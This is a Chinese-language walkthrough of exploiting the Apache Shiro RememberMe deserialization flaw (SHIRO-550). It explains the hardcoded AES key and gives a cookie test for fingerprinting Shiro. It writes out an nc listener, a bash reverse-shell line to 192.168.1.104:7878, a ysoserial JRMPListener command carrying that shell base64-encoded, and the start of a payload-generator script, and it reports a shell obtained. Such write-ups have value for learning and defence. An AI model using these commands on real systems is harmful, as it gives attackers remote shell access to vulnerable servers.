君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
前言
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
官方漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550
Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,默认使用了CookieRememberMeManager字段,内容分别进行 序列化、AES加密、Base64编码操作。
在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,得知解密的顺序为:
得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
检测是否是shiro
在cookie参数后加上;rememberMe=1,如果返回包中含有Set-Cookie:rememberMe=deleteMe就是使用了shrio。
影响版本:Apache Shiro <= 1.2.4

NC监听反弹 Shell
1 | nc -lvp 7878 |

制作反弹shell 代码
使用 http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码。
1
bash -i >& /dev/tcp/192.168.1.104/7878 0>&1

使用ysoserial中JRMP监听模块
https://github.com/frohoff/ysoserial
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA0Lzc4NzggMD4mMQ==}|{base64,-d}|{bash,-i}' |

Payload 构造
前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie。
- shiro.py
1 | import sys |
使用生成 payload的ysoserial.jar文件和运行目录需处于同一目录下。

将生成的payload通过BurpSuite进行替换发送。

最终,可看到NC已经收到反弹过来的 shell 。

